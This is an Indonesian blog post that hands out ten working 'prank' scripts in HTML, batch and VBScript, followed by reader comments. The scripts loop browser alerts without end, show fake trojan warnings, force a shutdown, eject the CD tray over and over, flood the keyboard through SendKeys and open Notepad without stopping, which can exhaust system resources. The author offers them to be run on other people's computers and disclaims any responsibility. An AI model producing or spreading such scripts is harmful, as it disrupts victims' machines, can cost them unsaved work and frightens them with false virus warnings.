nah ini dia script nya,,,
Script 1
<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("Komputer anda akan hancur")
var b = true
while (b == true)
{
alert("Silahkan ambil palu ajah�ha�ha�")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
Atau yang inih
<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("Komputer loo..kedinginan tuh")
var b = true
while (b == true)
{
alert("siram air ajah biar dingin")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
Yang ini juga boleh
<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("kamu bau banget�")
var b = true
while (b == true)
{
alert("belum mandi yah�idih�.bau baget nih mo muntah")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
Silahkan Script di atas di simpan dengan (.html)
keterangan : membuka browser habis itu keluar message terus menerus
Script 2
@ECHO off
:Begin
msg * -WARNING-
msg * Sory Virus Trojan....
msg * Udah install ulang aja.....
msg * Biar masalah nya kelar....
msg * Wkwkwkwkwkkkkkkkk....
GOTO BEGIN
simpan dengan .bat
keterangan : membuat pesan keluar terus
Script 3
@ECHO off
msg * -=WARNING=-
shutdown -s -c "Error !!!"
simpan dengan (.bat)
keterangan : bikin sutdownt trus ada pesannya
Script 4
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
simpan dengan (.vbs)
keterangan : bikin iseng CD/VCD buka tutup melulu
Script 5
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
simpan dengan (.vbs)
keterangan : membuat vbs nongol terus
Script 6
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
simpan dengan (.vbs)
keterangan : bikin tombol backpace nekan melulu
Script 7
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Erorr!!!"
loop
simpan dengan (.vbs)
keterangan : bikin otomatis ngetik "eror" di Notepad/Word
Script 8
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
simpan dengan (.bat)
keterangan : membuat supaya buka notepad melulu
Script 9
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "E"
WScript.Sleep 50
WshShell.SendKeys "R"
WScript.Sleep 50
WshShell.SendKeys "O"
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
simpan dengan (.vbs)
keterangan : membuat setiap kali buka notepad otomatis ngetik yang kalian mau
Script 10
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
simpan dengan (.vbs)
keterangan : mainin capslock
Nah sudah selasai silahkan di coba aja, artikel diatas saya posting hanya sekedar untuk sharing aja, jika terjadi sesuatu yang tidak diinginkan, mohon maaf saya gak ikut campur ok. happy bloging
Sumber :Q Ingin bisa
3 komentar:
makasih gan.mantappp....
wahhh boleh tuhhh....
gan boleh copas gak..?
bermanfaat
Posting Komentar